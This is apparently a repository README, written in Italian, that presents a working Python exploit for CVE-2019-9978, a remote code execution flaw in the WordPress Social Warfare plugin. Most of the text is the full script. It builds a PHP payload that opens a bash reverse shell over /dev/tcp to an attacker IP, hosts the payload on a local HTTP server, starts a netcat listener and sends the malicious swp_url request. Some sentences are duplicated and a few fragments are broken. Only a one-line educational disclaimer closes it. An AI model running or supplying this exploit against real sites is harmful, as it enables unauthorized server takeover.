
Il parametro `swp_debug` in `admin-post.php` consente a un aggressore remoto di includere file esterni contenenti codice PHP malevolo, che viene valutato sul server. Fornendo un URL appositamente predisposto che ospita un payload di reverse shell, un aggressore può ottenere l'esecuzione di comandi.
Questo repository contiene un exploit Python funzionante per CVE-2019-9978, una vulnerabilità di esecuzione di codice remoto nel plugin Social Warfare per WordPress (versione <= 3.5.2).
Il parametro swp_debug in admin-post.php consente a un attaccante remoto di includere file esterni contenenti codice PHP malevolo, che vengono valutati sul server. Fornendo un URL appositamente costruito che ospita un payload di reverse shell, un attaccante può ottenere l'esecuzione di comandi.
swp_url malevolo per attivare l'RCE.example.com mappata sull'IP di destinazione)#!/usr/bin/env python3
import requests
import threading
import http.server
import socketserver
import os
import subprocess
import time
# --- Config ---
TARGET_URL = "http://example.com"
ATTACKER_IP = "192.168.26.130" # Change to your attack box IP
HTTP_PORT = 8000
LISTEN_PORT = 4447
PAYLOAD_FILE = "payload.txt"
def create_payload():
"""Write exact reverse shell payload using valid PHP syntax"""
payload = f'<pre>system("bash -c \\"bash -i >& /dev/tcp/{ATTACKER_IP}/{LISTEN_PORT} 0>&1\\"")</pre>'
with open(PAYLOAD_FILE, "w") as f:
f.write(payload)
print(f"[+] Payload written to {PAYLOAD_FILE}")
def start_http_server():
"""Serve payload over HTTP"""
handler = http.server.SimpleHTTPRequestHandler
with socketserver.TCPServer(("", HTTP_PORT), handler) as httpd:
print(f"[+] HTTP server running at port {HTTP_PORT}")
httpd.serve_forever()
def start_listener():
"""Start Netcat listener"""
print(f"[+] Listening on port {LISTEN_PORT} for reverse shell...")
subprocess.call(["nc", "-lvnp", str(LISTEN_PORT)])
def send_exploit():
"""Trigger the exploit with vulnerable parameter"""
payload_url = f"http://{ATTACKER_IP}:{HTTP_PORT}/{PAYLOAD_FILE}"
exploit = f"{TARGET_URL}/wp-admin/admin-post.php?swp_debug=load_options&swp_url={payload_url}"
print(f"[+] Sending exploit: {exploit}")
try:
requests.get(exploit, timeout=5)
except requests.exceptions.RequestException:
pass
def main():
create_payload()
# Start web server in background
http_thread = threading.Thread(target=start_http_server, daemon=True)
http_thread.start()
time.sleep(2) # Give server time to start
# Start listener in background
listener_thread = threading.Thread(target=start_listener)
listener_thread.start()
time.sleep(1)
# Send the malicious request
send_exploit()
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("[-] Interrupted by user.")
ATTACKER_IP e LISTEN_PORT con l'IP della tua macchina e la porta desiderata.example.com all'IP corretto.python3 exploit.py
Questo exploit è fornito solo a scopo educativo. Non utilizzarlo senza autorizzazione esplicita su alcun sistema che non possiedi.